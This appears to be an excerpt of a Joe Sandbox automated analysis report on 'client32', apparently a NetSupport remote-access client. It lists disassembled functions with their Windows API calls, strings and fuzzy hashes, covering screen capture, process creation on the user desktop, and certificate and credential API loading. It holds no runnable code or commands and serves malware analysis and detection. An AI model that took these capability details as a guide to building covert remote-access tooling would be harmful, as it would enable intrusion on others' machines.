Sleep.KERNEL32(000000C8,?,?,?,?,?,?,00000000,75A3795C,00000000), ref: 111342A5

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: EnvironmentErrorExpandLastSleepStrings__fsopen
String ID:
API String ID: 3768737497-0
Opcode ID: 4d6c099333632b985558e77fdbfed47ff203cda0402669eff27874c5330c3e1c
Instruction ID: c387f289c61fefa2e5298b52aaefc30f01b1045fb1e2ae40e0bebc4dd9c1f7d1
Opcode Fuzzy Hash: 4d6c099333632b985558e77fdbfed47ff203cda0402669eff27874c5330c3e1c
Instruction Fuzzy Hash: 96114C7AD40109AFDB518FD4D984EAFFB78EB8626AF010164EC04A7604D730AD4087E2

Function 11010900 Relevance: 1.7, APIs: 1, Instructions: 151COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 110109B4

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LockitLockit::_std::_
String ID:
API String ID: 3382485803-0
Opcode ID: 1385057775134fbb1bc964ec1c8f376cb1cd366a7f35dc4fb300ae432e8f24af
Instruction ID: 45c645539fb1ee64975a99796d46acc60ecc28b62f5a4bb4ed7206e1cf6f0728
Opcode Fuzzy Hash: 1385057775134fbb1bc964ec1c8f376cb1cd366a7f35dc4fb300ae432e8f24af
Instruction Fuzzy Hash: 1C518D75B00645DFDB00CF98C990AADBBF6BF89718F24829DD5469B385C736E902CB90

Function 11132450 Relevance: 1.6, APIs: 1, Instructions: 70registryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RegQueryValueExA.KERNEL32(00000000,?,?,00000000,00000000,00000000,1110291B,75A38400,?,?,1113451F,00000000,CSDVersion,00000000,00000000,?), ref: 11132470

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 5016ec284c3da2d402a74a179208904017d38d52b2a07d1272dd52b37792262b
Instruction ID: 57cc01f50fbb590e2524d85a16b2fbab3df4c7fb8930128a4a94bf816e4774f3
Opcode Fuzzy Hash: 5016ec284c3da2d402a74a179208904017d38d52b2a07d1272dd52b37792262b
Instruction Fuzzy Hash: C711E9717142456FEB21DE04D590AEFFBB9EBC533AF20816AE5194790CC231D482C760

Function 110EF160 Relevance: 1.6, APIs: 1, Instructions: 56COMMON

Download Yara Rule

APIs

GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),?,00000048,?,?), ref: 110EF18D

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: fb78fbe809c35f0ef85edaf52d24d1374a363710fbb08966f967051581e1cc5d
Instruction ID: e567e6d9deb43754708739d5b8ecc67293fcf28fe655b386a3f4b7f61280699d
Opcode Fuzzy Hash: fb78fbe809c35f0ef85edaf52d24d1374a363710fbb08966f967051581e1cc5d
Instruction Fuzzy Hash: 22118675A0155D9FDB11CBA9DC94AEEB7EC9F49304F4040DDE9099B240EA70AF488B91

Function 1115EAE4 Relevance: 1.6, APIs: 1, Instructions: 52memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,1102F53F,00000000,?,111587B4,?,1102F53F,00000000,00000000,00000000,?,1115A147,00000001,00000214,?,111028FE), ref: 1115EB27

Part of subcall function 11157CCF: __getptd_noexit.LIBCMT ref: 11157CCF

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AllocateHeap__getptd_noexit
String ID:
API String ID: 328603210-0
Opcode ID: b273a25811fde905e5cee87c6aa7cb02e25be8654d74a1ff2e42c0156245fb87
Instruction ID: 332878df44de031bd3fde79402edd0d066dbf36eb0a5f5ad350df6a08150c577
Opcode Fuzzy Hash: b273a25811fde905e5cee87c6aa7cb02e25be8654d74a1ff2e42c0156245fb87
Instruction Fuzzy Hash: 59017532B022769AEBD58E25C994B5AF759AB83766F01C629E836C75D0D770D800C760

Function 11155CC3 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

__waccess_s.LIBCMT ref: 11155CCE

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: __waccess_s
String ID:
API String ID: 4272103461-0
Opcode ID: ef7a6628b8ba34dfa5084db135283d76d392227949a9b5e0c08c397448921cd0
Instruction ID: 840aff0e7d330be87414fd3cd5a9ac48178d49a546ea7aaee28d5de4cbf962c1
Opcode Fuzzy Hash: ef7a6628b8ba34dfa5084db135283d76d392227949a9b5e0c08c397448921cd0
Instruction Fuzzy Hash: F2C02B3300400D7F4F480DE1EC00C043F1DC6803347204211F81CCC090DD32E4108140

Function 111524D7 Relevance: 1.5, APIs: 1, Instructions: 10COMMONLIBRARYCODE

Download Yara Rule

APIs

__fsopen.LIBCMT ref: 111524E4

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: __fsopen
String ID:
API String ID: 3646066109-0
Opcode ID: 458c5a181ffae5f95d358663ef626c75276123e7ccc662156e21cb703a51c411
Instruction ID: cdd7364d54deba196aaed2948fa43e78b4163aec9a4e7603f5b1489158abed43
Opcode Fuzzy Hash: 458c5a181ffae5f95d358663ef626c75276123e7ccc662156e21cb703a51c411
Instruction Fuzzy Hash: F2C0927754020CB7CF911A82EC02E9A7F2A9BC1668F148020FB2C19160AA73EA619689

Function 009D1000 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

_NSMClient32@8.PCICL32(?,?,?,009D10AB,00000000), ref: 009D1009

Memory Dump Source

Source File: 0000000B.00000002.3741969770.00000000009D1000.00000020.00000001.01000000.00000007.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3741789673.00000000009D0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.3742058275.00000000009D2000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_client32.jbxd

Yara matches

Similarity

API ID: Client32@8
String ID:
API String ID: 433899448-0
Opcode ID: dcaa56d6c6c8e88b1e4f95152afe5240dafa7d8740490bf80e3636b52cdfcebe
Instruction ID: 8d0473fa9356ad18d4e59706d2568dafb867c3e2077871d3c6b05fe7508367fe
Opcode Fuzzy Hash: dcaa56d6c6c8e88b1e4f95152afe5240dafa7d8740490bf80e3636b52cdfcebe
Instruction Fuzzy Hash: 68B0123308024D77CF017E81EE01D4B3B1DAB40310F004412FE100126286A398B0B663

Non-executed Functions

Function 11117290 Relevance: 118.0, APIs: 60, Strings: 7, Instructions: 767windowsleepsynchronizationCOMMON

Download Yara Rule

APIs

_calloc.LIBCMT ref: 111172AF
GetDC.USER32(00000000), ref: 111172E8
CreateCompatibleDC.GDI32(00000000), ref: 111172F7
CreateCompatibleBitmap.GDI32(00000000,FFFFFFFF,00000001), ref: 1111730C
SelectObject.GDI32(00000000,00000000), ref: 1111731A
GetDeviceCaps.GDI32(00000000,0000000E), ref: 1111732F
GetDeviceCaps.GDI32(?,0000000C), ref: 1111733C
_malloc.LIBCMT ref: 11117363

Part of subcall function 111515D1: __FF_MSGBANNER.LIBCMT ref: 111515EA
Part of subcall function 111515D1: __NMSG_WRITE.LIBCMT ref: 111515F1
Part of subcall function 111515D1: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,111028FE,?,?,?,?,111343F2,?,?,?), ref: 11151616

_calloc.LIBCMT ref: 11117374
Sleep.KERNEL32(11117E9D), ref: 111173B8
GetTickCount.KERNEL32 ref: 111173BE
GetSystemMetrics.USER32(0000004C), ref: 11117418
GetSystemMetrics.USER32(0000004D), ref: 11117422
GetTickCount.KERNEL32 ref: 1111749C
WaitForSingleObject.KERNEL32(?,000000FA), ref: 111174D1
_memset.LIBCMT ref: 111174F5
_memset.LIBCMT ref: 11117507
_malloc.LIBCMT ref: 1111762B
_malloc.LIBCMT ref: 11117658
_memset.LIBCMT ref: 11117671
_calloc.LIBCMT ref: 111176D1
_calloc.LIBCMT ref: 111176EF
GetSystemPaletteEntries.GDI32(?,00000000,00000100,?), ref: 1111771A
GetStockObject.GDI32(0000000F), ref: 11117752
SelectPalette.GDI32(?,00000000), ref: 11117760
SelectPalette.GDI32(?,00000000,00000000), ref: 11117770
SelectPalette.GDI32(?,?,00000000), ref: 11117786
RealizePalette.GDI32(?), ref: 11117793
_memset.LIBCMT ref: 111177E5
SelectPalette.GDI32(?,?,00000000), ref: 11117807
DeleteObject.GDI32(?), ref: 1111780E
CreatePalette.GDI32(?), ref: 1111782B
SelectPalette.GDI32(?,00000000,00000000), ref: 11117841
RealizePalette.GDI32(?), ref: 1111784E
BitBlt.GDI32(?,00000000,00000000,FFFFFFFF,00000001,?,?,?,00CC0020), ref: 1111788D
GetObjectA.GDI32(?,00000018,?), ref: 111178A3
GetBitmapBits.GDI32(?,?,?), ref: 111178BE
GetDIBits.GDI32(?,?,00000000,00000001,?,?,00000000), ref: 11117913
_malloc.LIBCMT ref: 11117B49
GetTickCount.KERNEL32 ref: 11117DF6
CloseHandle.KERNEL32(?), ref: 11117E03
_free.LIBCMT ref: 11117E15
_free.LIBCMT ref: 11117E21
_free.LIBCMT ref: 11117E2D
_free.LIBCMT ref: 11117E39
SelectObject.GDI32(?,?), ref: 11117E4F

Part of subcall function 11027FB0: GetLastError.KERNEL32(?,00000000,?), ref: 11027FCC
Part of subcall function 11027FB0: wsprintfA.USER32 ref: 11028017
Part of subcall function 11027FB0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11028053
Part of subcall function 11027FB0: ExitProcess.KERNEL32 ref: 11028069

Strings

(, xrefs: 11117692
SCRAPE.CPP, xrefs: 111173DE, 11117B62
_, xrefs: 11117492
Client, xrefs: 1111746C
@L(t, xrefs: 111172F7
hStopScrape, xrefs: 111173E3
ScreenScrapeCPU, xrefs: 11117467

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Palette$Select$Object$_calloc_free_malloc_memset$CountCreateSystemTick$BitmapBitsCapsCompatibleDeviceMetricsRealize$AllocateCloseDeleteEntriesErrorExitHandleHeapLastMessageProcessSingleSleepStockWaitwsprintf
String ID: ($@L(t$Client$SCRAPE.CPP$ScreenScrapeCPU$_$hStopScrape
API String ID: 3932011530-1240846060
Opcode ID: 41f4eb196c39dc6a78c837dce78470dc62e23143fc7ef4ff3f55dc3ed3300e45
Instruction ID: bf10a9902b4c1d1c1bebc66a4f47a1518a6e4e764ac0c29533848247b5017043
Opcode Fuzzy Hash: 41f4eb196c39dc6a78c837dce78470dc62e23143fc7ef4ff3f55dc3ed3300e45
Instruction Fuzzy Hash: 427239B59002698FDB61DF24CC84B99FBF5BB49304F14C1E9E589AB244DB71AE81CF90

Function 11085430 Relevance: 66.8, APIs: 31, Strings: 7, Instructions: 296librarywindowmemoryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 110854D4
GetVersionExA.KERNEL32(?,00000000,?,00000000), ref: 110854ED
OpenWindowStationA.USER32(winsta0,00000000,00060000), ref: 1108551F
GetProcessWindowStation.USER32 ref: 1108552D
SetProcessWindowStation.USER32(00000000), ref: 1108553C
OpenDesktopA.USER32(default,00000000,00000000,00060081), ref: 11085552
SetProcessWindowStation.USER32(00000000), ref: 11085565
CloseWindowStation.USER32(00000000), ref: 1108556C
SetHandleInformation.KERNEL32(00000000,00000001,00000001), ref: 11085590
SetHandleInformation.KERNEL32(00000000,00000001,00000001), ref: 110855A5

Part of subcall function 110851E0: GetUserObjectSecurity.USER32(?,?,00000000,00000000,?), ref: 11085218
Part of subcall function 110851E0: GetProcessHeap.KERNEL32(00000008,?), ref: 1108522A
Part of subcall function 110851E0: HeapAlloc.KERNEL32(00000000), ref: 11085231
Part of subcall function 110851E0: GetUserObjectSecurity.USER32(?,00000004,110855CC,?,?), ref: 11085247
Part of subcall function 110851E0: GetUserObjectSecurity.USER32(00000001,00000004,00000000,00000001,00000001), ref: 11085265
Part of subcall function 110851E0: GetProcessHeap.KERNEL32(00000008,00000001), ref: 11085271
Part of subcall function 110851E0: HeapAlloc.KERNEL32(00000000), ref: 11085278
Part of subcall function 110851E0: GetUserObjectSecurity.USER32(00000001,00000004,?,00000001,00000001), ref: 1108528E
Part of subcall function 110851E0: GetSecurityDescriptorDacl.ADVAPI32(110855CC,00000000,?,?), ref: 110852B0
Part of subcall function 110851E0: GetSecurityDescriptorDacl.ADVAPI32(?,00000000,?,?), ref: 110852C9

_memset.LIBCMT ref: 110855E7
LoadLibraryA.KERNEL32(userenv), ref: 11085606
GetProcAddress.KERNEL32(00000000,CreateEnvironmentBlock), ref: 11085618
IsBadReadPtr.KERNEL32(?,00000001), ref: 1108563B
CreateProcessAsUserA.ADVAPI32(?,00000000,?,00000000,00000000,00000000,00000000,?,?,?,?), ref: 1108568E
GetProcAddress.KERNEL32(00000000,DestroyEnvironmentBlock), ref: 110856AB
FreeLibrary.KERNEL32(00000000), ref: 110856C3
MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000000FF), ref: 110856EF
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 11085710
DispatchMessageA.USER32(?), ref: 1108571D
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 1108572E
MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000000FF), ref: 11085746
CloseHandle.KERNEL32(00000000), ref: 11085765
CloseHandle.KERNEL32 ref: 1108576A
GetProcessHeap.KERNEL32(00000000,?), ref: 11085779
HeapFree.KERNEL32(00000000), ref: 11085780
CloseDesktop.USER32(?), ref: 11085797
GetLastError.KERNEL32 ref: 110857A1
SetProcessWindowStation.USER32(?), ref: 110857BC
CloseWindowStation.USER32(?), ref: 110857CD
GetLastError.KERNEL32 ref: 110857D7

Strings

Error closing winsta, e=%d, xrefs: 110857DA
Error closing desktop, e=%d, xrefs: 110857A4
default, xrefs: 1108554D
winsta0, xrefs: 1108551A
userenv, xrefs: 11085601
CreateEnvironmentBlock, xrefs: 11085612
DestroyEnvironmentBlock, xrefs: 110856A5

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Process$StationWindow$HeapSecurity$CloseUser$HandleObject$Message$AddressAllocDaclDescriptorDesktopErrorFreeInformationLastLibraryMultipleObjectsOpenPeekProcWait_memset$CreateDispatchLoadReadVersion
String ID: CreateEnvironmentBlock$DestroyEnvironmentBlock$Error closing desktop, e=%d$Error closing winsta, e=%d$default$userenv$winsta0
API String ID: 2664440712-1106524449
Opcode ID: 677b5d0fbb0e76526f67e711a5c73b3ce293ee8ad6a0a9596ae823fe0477a226
Instruction ID: f061770eabc51647ab4d4230c3b4071e061b0d94ed79287bc5cfb6b3fcb425fe
Opcode Fuzzy Hash: 677b5d0fbb0e76526f67e711a5c73b3ce293ee8ad6a0a9596ae823fe0477a226
Instruction Fuzzy Hash: A1B18075E00329AFEB21DF658C84F9EBBB8BF45714F4081D9E919A3284DB719980CF61

Function 110A57F0 Relevance: 65.2, APIs: 22, Strings: 15, Instructions: 402libraryloaderencryptionCOMMON

Download Yara Rule

APIs

Part of subcall function 110A4AA0: LoadLibraryA.KERNEL32(Crypt32.dll,00000000,?,110A5885,82E0FB89,?,?,?,?,11172CDB,000000FF,?,110E94A1,00000000,00000000,?), ref: 110A4AE0
Part of subcall function 110A4AA0: GetProcAddress.KERNEL32(00000000,CertCreateCertificateContext), ref: 110A4AFC
Part of subcall function 110A4AA0: GetProcAddress.KERNEL32(00000000,CertFreeCertificateContext), ref: 110A4B09
Part of subcall function 110A4AA0: GetProcAddress.KERNEL32(?,CertGetNameStringA), ref: 110A4B16
Part of subcall function 110A4AA0: GetProcAddress.KERNEL32(?,CertGetValidUsages), ref: 110A4B23
Part of subcall function 110A4AA0: GetProcAddress.KERNEL32(00000000,CertOpenStore), ref: 110A4B30
Part of subcall function 110A4AA0: GetProcAddress.KERNEL32(?,CertOpenSystemStoreA), ref: 110A4B3D
Part of subcall function 110A4AA0: GetProcAddress.KERNEL32(?,CertCloseStore), ref: 110A4B4A
Part of subcall function 110A4AA0: GetProcAddress.KERNEL32(00000000,CertAddCertificateContextToStore), ref: 110A4B57
Part of subcall function 110A4AA0: GetProcAddress.KERNEL32(?,CertAddEncodedCertificateToStore), ref: 110A4B64
Part of subcall function 110A4AA0: GetProcAddress.KERNEL32(?,CertSetCertificateContextProperty), ref: 110A4B71
Part of subcall function 110A4AA0: GetProcAddress.KERNEL32(00000000,CertGetCertificateContextProperty), ref: 110A4B7E
Part of subcall function 110A4AA0: GetProcAddress.KERNEL32(?,CryptAcquireCertificatePrivateKey), ref: 110A4B8B
Part of subcall function 110A4AA0: GetProcAddress.KERNEL32(?,CertEnumCertificatesInStore), ref: 110A4B98
Part of subcall function 110A4AA0: GetProcAddress.KERNEL32(00000000,CertGetEnhancedKeyUsage), ref: 110A4BA5

GetModuleHandleA.KERNEL32(Advapi32.dll,82E0FB89,?,?,?,?,11172CDB,000000FF,?,110E94A1,00000000,00000000,?,?,?,FFFFFFFF), ref: 110A591E
GetProcAddress.KERNEL32(00000000,CredMarshalCredentialA), ref: 110A5930
GetProcAddress.KERNEL32(?,CredFree), ref: 110A5948
GetLastError.KERNEL32(?,110E94A1,00000000,00000000,?,?,?,FFFFFFFF), ref: 110A599C
CryptReleaseContext.ADVAPI32(?,00000000,82E0FB89,?,?,?,?,11172CDB,000000FF,?,110E94A1,00000000,00000000,?,?,?), ref: 110A5D41
SetLastError.KERNEL32(00000057,82E0FB89,?,?,?,?,11172CDB,000000FF,?,110E94A1,00000000,00000000,?,?,?,FFFFFFFF), ref: 110A5D8B
FreeLibrary.KERNEL32(?,82E0FB89,?,?,?,?,11172CDB,000000FF,?,110E94A1,00000000,00000000,?,?,?,FFFFFFFF), ref: 110A5D9C

Strings

CertGetCertificateContextProperty (3) FAILED (%d), xrefs: 110A5C35
CertGetCertificateContextProperty (2) FAILED (%d), xrefs: 110A5BFA
